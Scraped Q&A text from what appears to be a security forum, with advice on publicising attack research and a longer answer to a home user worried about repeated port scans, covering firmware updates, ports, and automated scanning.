You can try submitting it as a talk at a security conference or two. This is probably one of the best ways to get your research out there if it is semi interesting. Even if the topic isn't accepted for one of the main talks, many conferences have lightning talk sections where any attendees can go up and speak for a few minutes.
Publish the attack on your personal website/blog and submit it to r/netsec or Hacker News. This is pretty hit or miss though, there is no guarantee that people will see it due to the sheer volume on those sites.
Publish it on the Information Security Stackexchange blog! It is (relatively) high traffic, you can easily point to the blog post on a CV and you can guarantee that at least the regulars on the site will read it!


What can I do about being heavily port scanned?

I would like to know what else can I do to improve my security?

First of all, you should make sure you use the newest firmware for your linksys device (if you use it). I wouldn't recommend to connect your Windows PC directly to the internet. Doing so allsows a potential attacker to directly "access" and gather information about the target machine and there's only your SEP and your Windows firewall to prevent this (and i wouldn't entrust my life to those solutions). Again, if your systems are top up-to-date you decrease the risk factor.
In my opinion the securest way is a small linux device (e.g. a raspberry pi) between your PC and the internet. You can use all solutions Alexey mentioned on it and you are able to customize it the way you want. This way, you would have many possibile defenses against port scans and network attacks.

Which ports should I keep open and which ports should I close? If I understand correctly the IP's are scanning for open ports that are vournable however aren't certain ports always open in order for the internet to work?

Short explanation on portscans and attacks:
Most portscans scan the lower well known ports (Well known ports) to find services (e.g. FTP servers, SMTP servers, etc) so they can exploit them to get access to the machine. You can't imagine how many unsecure servers are out there that run outdated versions of such services. Most exploit attacks run a scan automatically, compare the results with an exploit database and attack if the have a suitable exploit. For scaling, those attacks are often scripted. "Vulnerable ports" are ports on which unsecure or outdated services are listening on your machine.
-> There are no ports that should be open or closed by default. Of course, the securest way would be to have no single port open / having no service on our machine listenting to incoming connections from the internet.
You are right, there are certain open ports on your machine if you connect to the internet (see Ephemeral ports). Example: You connect to an http server by using firefox. Firefox now opens a socket on your machine on an ephemeral port (e.g. 50000) to send and receive packets to/from the http server on server port 80 (Well known port). But Firefox only listens to packets from the connection that it has initiated itself, so in your scenario you don't have to worry about them.

I don't have any ports forwarded on my router. There are some application specific ports open in the windows firewall. Can I get hacked through these ports?

See answer to 2., if you have services listening on such ports those services/applications are potentially exploitable. Again, keeping them up-to-date decreases the risk.

Is heavy port scanning the reason behind slow router/wireless speeds?

See Alexey's answer, it shouldn't be the reason.

Why am I being targeted by the same IP repeadetly? Is someone trying to hack my computer?

Of course, that could be the case. A "hacker" uses portscans to gather information on the system he wants to infiltrate. But it's much more likely that some chinese automated script is just that bad that it uses the same targets over and over again. As mentioned in answer 2, those attacks are often scripted to scale a few attack vectors on many many machines out there to get results.
Best Regards